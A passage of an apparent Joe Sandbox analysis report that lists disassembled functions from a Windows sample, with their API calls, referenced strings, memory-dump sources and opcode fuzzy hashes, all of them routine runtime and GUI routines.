Opcode Fuzzy Hash: ed36139bb464296789f363ae559bd87114307b135c6e194a8dfbdb6940c55857
Instruction Fuzzy Hash: 21111C79901218FFDB11DF95CC85F9DBBB5FB48710F204095E900B7290DA716E11DB94

Function 005D1290 Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 005D2612: GetWindowLongW.USER32(?,000000EB), ref: 005D2623

DefDlgProcW.USER32(?,00000020,?), ref: 005D12D8
GetClientRect.USER32(?,?), ref: 0060B5FB
GetCursorPos.USER32(?), ref: 0060B605
ScreenToClient.USER32(?,?), ref: 0060B610

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Client$CursorLongProcRectScreenWindow
String ID:
API String ID: 4127811313-0
Opcode ID: 07db32fc309ea385178c6952a91a5c21c63900e9f46a5204659c1275c909455e
Instruction ID: 6a056b466d3cab23638ab953c15db337b1222865890e29f122e605146d370030
Opcode Fuzzy Hash: 07db32fc309ea385178c6952a91a5c21c63900e9f46a5204659c1275c909455e
Instruction Fuzzy Hash: 9C116A3950051AFFCB20EF99D8899EE7BBAFB45301F000457FA01E7240D731BA518BA9

Function 0062D831 Relevance: 6.0, APIs: 4, Instructions: 50registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,00000000,00000000), ref: 0062D84D
LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 0062D864
RegisterTypeLib.OLEAUT32(?,?,00000000), ref: 0062D879
RegisterTypeLibForUser.OLEAUT32(?,?,00000000), ref: 0062D897

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Type$Register$FileLoadModuleNameUser
String ID:
API String ID: 1352324309-0
Opcode ID: b89883f1c1e39781273819e69a44a07c3aa566a632833514d5492407489544e0
Instruction ID: b7a581eeec33c936a16be453a186ee6f2a99396b5868d34a72f0244ad909e61c
Opcode Fuzzy Hash: b89883f1c1e39781273819e69a44a07c3aa566a632833514d5492407489544e0
Instruction Fuzzy Hash: 0A115E75605724DBE320CF50EC08F93BBFDEB00B00F108569E656D6191D7B4E5499FA1

Function 00606FB7 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 00606FDB

Part of subcall function 006076C2: __fltout2.LIBCMT ref: 006076EB

__cftog_l.LIBCMT ref: 00607001
__cftoe_l.LIBCMT ref: 00607033

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction ID: 308f5796f6edd3cc8b7a2eb2c5824feda2b7bf6cb4c9581e9653d3df9930ffc3
Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction Fuzzy Hash: D201807288414EBBCF1A5F84CC01CEE3F67BB18354F488515FE19581B0D236E9B2AB81

Function 0065B2C5 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 0065B2E4
ScreenToClient.USER32(?,?), ref: 0065B2FC
ScreenToClient.USER32(?,?), ref: 0065B320
InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 0065B33B

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: ClientRectScreen$InvalidateWindow
String ID:
API String ID: 357397906-0
Opcode ID: 8f7f5f9615dadbf0b646ce96352c810b46f2b75d6f157a94679dee708484a591
Instruction ID: 5463571523ff32de8225af5c2035863145f4495b0c0695712f71b64ec401720c
Opcode Fuzzy Hash: 8f7f5f9615dadbf0b646ce96352c810b46f2b75d6f157a94679dee708484a591
Instruction Fuzzy Hash: 191144B9D00209EFDB41CFA9C8849EEBBF9FF08311F109166E914E3220D735AA558F50

Function 00636BDA Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 00636BE6

Part of subcall function 006376C4: _memset.LIBCMT ref: 006376F9

_memmove.LIBCMT ref: 00636C09
_memset.LIBCMT ref: 00636C16
LeaveCriticalSection.KERNEL32(?), ref: 00636C26

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: CriticalSection_memset$EnterLeave_memmove
String ID:
API String ID: 48991266-0
Opcode ID: 505ee49f3d1c92fe295dd1e31830d92cbcff9217417b2882a9294b26700e3947
Instruction ID: 54da2df90b99829539990f441a59c4d62bebba354f7d52545f5e76a8a2685f2a
Opcode Fuzzy Hash: 505ee49f3d1c92fe295dd1e31830d92cbcff9217417b2882a9294b26700e3947
Instruction Fuzzy Hash: 16F0547A100204ABCF416F95DC85A8ABF2AEF45361F048065FE095F267CB35E911CBB4

Function 005D2218 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 005D2231
SetTextColor.GDI32(?,000000FF), ref: 005D223B
SetBkMode.GDI32(?,00000001), ref: 005D2250
GetStockObject.GDI32(00000005), ref: 005D2258
GetWindowDC.USER32(?,00000000), ref: 0060BE83
GetPixel.GDI32(00000000,00000000,00000000), ref: 0060BE90
GetPixel.GDI32(00000000,?,00000000), ref: 0060BEA9
GetPixel.GDI32(00000000,00000000,?), ref: 0060BEC2
GetPixel.GDI32(00000000,?,?), ref: 0060BEE2
ReleaseDC.USER32(?,00000000), ref: 0060BEED

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Pixel$Color$ModeObjectReleaseStockTextWindow
String ID:
API String ID: 1946975507-0
Opcode ID: 75325494d0825ce55565be460591e81ebc0a20295e207a715761116335d8610a
Instruction ID: ecc9c48e99c98ed9539dd1129ca1fb21f78daf6942d7d3e1f8f7b523dd123170
Opcode Fuzzy Hash: 75325494d0825ce55565be460591e81ebc0a20295e207a715761116335d8610a
Instruction Fuzzy Hash: 36E03932144644AADB219F68EC0DBD93F12EB25332F009366FA69580E187724980DB12

Function 00628712 Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 0062871B
OpenThreadToken.ADVAPI32(00000000,?,?,?,006282E6), ref: 00628722
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,006282E6), ref: 0062872F
OpenProcessToken.ADVAPI32(00000000,?,?,?,006282E6), ref: 00628736

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: 2d5cdf8fe5bb580d8cf0ca6b63e3f68b9231a972dfd16d87035ce318c7328302
Instruction ID: bc91482a704f208e56dd3de7fa71859ac6a30ba766fcdf270dcd6674f80947ab
Opcode Fuzzy Hash: 2d5cdf8fe5bb580d8cf0ca6b63e3f68b9231a972dfd16d87035ce318c7328302
Instruction Fuzzy Hash: 2FE086766123219FD7609FB06D0CF9B3BBEEF60793F144828B245CA0C0DA348441CB50

Function 005D6240 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 317COMMON

Download Yara Rule

Strings

%f, xrefs: 005D624E

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID:
String ID: %f
API String ID: 0-2819850262
Opcode ID: 6094a8c7085da94d2fe1f61c1ec8d853c196136b73ce1794105d1ca9b11fcbfb
Instruction ID: 2d0e559b3da2783a354c07bb42655416111ce964a0c4b4621aa8743ec561c65b
Opcode Fuzzy Hash: 6094a8c7085da94d2fe1f61c1ec8d853c196136b73ce1794105d1ca9b11fcbfb
Instruction Fuzzy Hash: 1CB17C7590010A9ACF34EB9CC4859EEBFB9FF58310F544527E912A7391EB349A82CB91

Function 0064AEA2 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 313COMMON

Download Yara Rule

APIs

__itow_s.LIBCMT ref: 0064AFAE

Strings

xbi, xrefs: 0064AFE4
xbi, xrefs: 0064B010

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: __itow_s
String ID: xbi$xbi
API String ID: 3653519197-2246191879
Opcode ID: 812c84d842a490192252570f847929a922f226ab4faa6d9b37eca458b40b2630
Instruction ID: da8433efdbaa30f37709bf92c3f245903976b75cd474861d9ad19cc5ef8a9bf0
Opcode Fuzzy Hash: 812c84d842a490192252570f847929a922f226ab4faa6d9b37eca458b40b2630
Instruction Fuzzy Hash: CAB15F70A0020AABCB24DF58C895EFABBBAFF59300F14845AF9459B351EB71E945CB50

Function 0063AFAC Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201shareCOMMON

Download Yara Rule

APIs

Part of subcall function 005EFC86: _wcscpy.LIBCMT ref: 005EFCA9

Part of subcall function 005D9837: __itow.LIBCMT ref: 005D9862
Part of subcall function 005D9837: __swprintf.LIBCMT ref: 005D98AC

__wcsnicmp.LIBCMT ref: 0063B02D
WNetUseConnectionW.MPR(00000000,?,?,00000000,?,?,00000100,?), ref: 0063B0F6

Strings

LPT, xrefs: 0063B027

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Connection__itow__swprintf__wcsnicmp_wcscpy
String ID: LPT
API String ID: 3222508074-1350329615
Opcode ID: 88239044de799adf7323356fe8329208be1b22a2305448d3db537cef87a8f615
Instruction ID: 45c638b2837f26b63388beebf736f425eac1e590bae02585512ee9fdecf845ef
Opcode Fuzzy Hash: 88239044de799adf7323356fe8329208be1b22a2305448d3db537cef87a8f615
Instruction Fuzzy Hash: 08618071E00219AFCB18DF98C895EEEB7B5FB48710F10505AFA16AB391D770AE40CB90

Function 005E2957 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 005E2968
GlobalMemoryStatusEx.KERNEL32(?), ref: 005E2981

Strings

@, xrefs: 005E2975

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: d07fc0a9e0788ff996f5d76977d55737edbf3e835d8f8dfbeb5406c8a1699fe9
Instruction ID: 1f1bd7e39858e854f25ca4d946b20ecf057baa14400a20941ba72904e8d31e3e
Opcode Fuzzy Hash: d07fc0a9e0788ff996f5d76977d55737edbf3e835d8f8dfbeb5406c8a1699fe9
Instruction Fuzzy Hash: 675125724187459BD320EF14D88ABABBBECFBC5344F41885EF2D8811A1DF318569CB66

Function 00639734 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 005D4F0B: __fread_nolock.LIBCMT ref: 005D4F29

_wcscmp.LIBCMT ref: 00639824
_wcscmp.LIBCMT ref: 00639837

Strings

FILE, xrefs: 00639770

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: _wcscmp$__fread_nolock
String ID: FILE
API String ID: 4029003684-3121273764
Opcode ID: da32626dd8e3bd38dc9dbe2473724781961ed9e0238c5f5668718ab575861b6c
Instruction ID: c2bb7d3171038985a463b80a58cc5e18cedfcf4ded717fc06ce1a242aa2d20e9
Opcode Fuzzy Hash: da32626dd8e3bd38dc9dbe2473724781961ed9e0238c5f5668718ab575861b6c
Instruction Fuzzy Hash: BF41A971A0020ABBDF209BA4CC49FEF7BBEEFC5710F00046AF504A7291D67199458FA1

Function 00610574 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 0061057F

Strings

Ddi, xrefs: 005DA151
Ddi, xrefs: 005DA317

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: ClearVariant
String ID: Ddi$Ddi
API String ID: 1473721057-1196670030
Opcode ID: 1d76f03b20fcf29c138bd495d10e5bf31e1d7caa859a7cd0dbaebec62b27d64f
Instruction ID: 28d711da259397db7af35cfebf8f392749856224e21f8a007c2fbfe442e1ace6
Opcode Fuzzy Hash: 1d76f03b20fcf29c138bd495d10e5bf31e1d7caa859a7cd0dbaebec62b27d64f
Instruction Fuzzy Hash: D85103786083428FDB64CF19C584A1ABBF6BB99750F54881EF9858B361D371EC81CF82

Function 0064258E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0064259E
InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 006425D4

Strings

|, xrefs: 006425A5

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: CrackInternet_memset
String ID: |
API String ID: 1413715105-2343686810
Opcode ID: d4835b6205fd84bdca9e38606082da6a0c692fc3ae883c38028ec7378ad787e0
Instruction ID: 761df2302ccd9e28240b302358add28fbd5dcced5c1cfec70f5ccfe1a0c12018
Opcode Fuzzy Hash: d4835b6205fd84bdca9e38606082da6a0c692fc3ae883c38028ec7378ad787e0
Instruction Fuzzy Hash: 6631397180111AEBCF11EFA4CC89EEEBFB9FF08350F10005AF914A6262EB315956DB60

Function 00657A71 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001132,00000000,?), ref: 00657B61
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00657B76

Strings

', xrefs: 00657ACA

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: MessageSend
String ID: '
API String ID: 3850602802-1997036262
Opcode ID: c313be9e560a5a205dda71b2b06fcc3a6f7170c97d08c69d7a4ed9722a65c069
Instruction ID: f0f279ffa34b7c74357254f78b3d8a35a47e42c2253a274145f7731d9a3827bc
Opcode Fuzzy Hash: c313be9e560a5a205dda71b2b06fcc3a6f7170c97d08c69d7a4ed9722a65c069
Instruction Fuzzy Hash: 45410874A0530A9FDB14CF65D981BDABBBAFB08301F10016AED05AB351D771AA55CF90

Function 00656A63 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?), ref: 00656B17
MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 00656B53

Strings

static, xrefs: 00656AB3

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: bb405b61cc93209232496f22b1a646b592801e01eb2c4b010924eac41549b270
Instruction ID: f96b4f766648026c995d4c56669bdf92fe956e3e349ff58efd9b4ee0b4405e05
Opcode Fuzzy Hash: bb405b61cc93209232496f22b1a646b592801e01eb2c4b010924eac41549b270
Instruction Fuzzy Hash: 7B319071200604AEDB109F68CC40BFB77AAFF48761F50951AFDA5D7290DA31AC95CB60

Function 006328A2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00632911
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 0063294C

Strings

0, xrefs: 0063290A

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: 6c951d6fcb288b2731836d91a8bc512eaf2ff533246bbf9c5b5e6a1ca54ebe91
Instruction ID: 89953c8e66ff88da069838416410392114400566fd98e4180aed2b05a47b2a80
Opcode Fuzzy Hash: 6c951d6fcb288b2731836d91a8bc512eaf2ff533246bbf9c5b5e6a1ca54ebe91
Instruction Fuzzy Hash: 8231E331A0030BDFEB25CF49C885BEEBBBAEF45350F141019E981A62E1D7709944CB91

Function 006566D4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00656761
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 0065676C

Strings

Combobox, xrefs: 0065672E

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: 89f4f1e8eb5dd3e3b9d281c8de84ee49fd815d41c7f81e181308a9fe1ea8f687
Instruction ID: d170dde0a47df6437b8079583c1d0f2f4830415020a093e9102d0053cf93393c
Opcode Fuzzy Hash: 89f4f1e8eb5dd3e3b9d281c8de84ee49fd815d41c7f81e181308a9fe1ea8f687
Instruction Fuzzy Hash: C7116075200209AFEF259F54CC81EEB3B6BEB88369F514229F91497290D6719C55C7A0

Function 00656C07 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 005D1D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 005D1D73
Part of subcall function 005D1D35: GetStockObject.GDI32(00000011), ref: 005D1D87
Part of subcall function 005D1D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 005D1D91

GetWindowRect.USER32(00000000,?), ref: 00656C71
GetSysColor.USER32(00000012), ref: 00656C8B

Strings

static, xrefs: 00656C4E

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

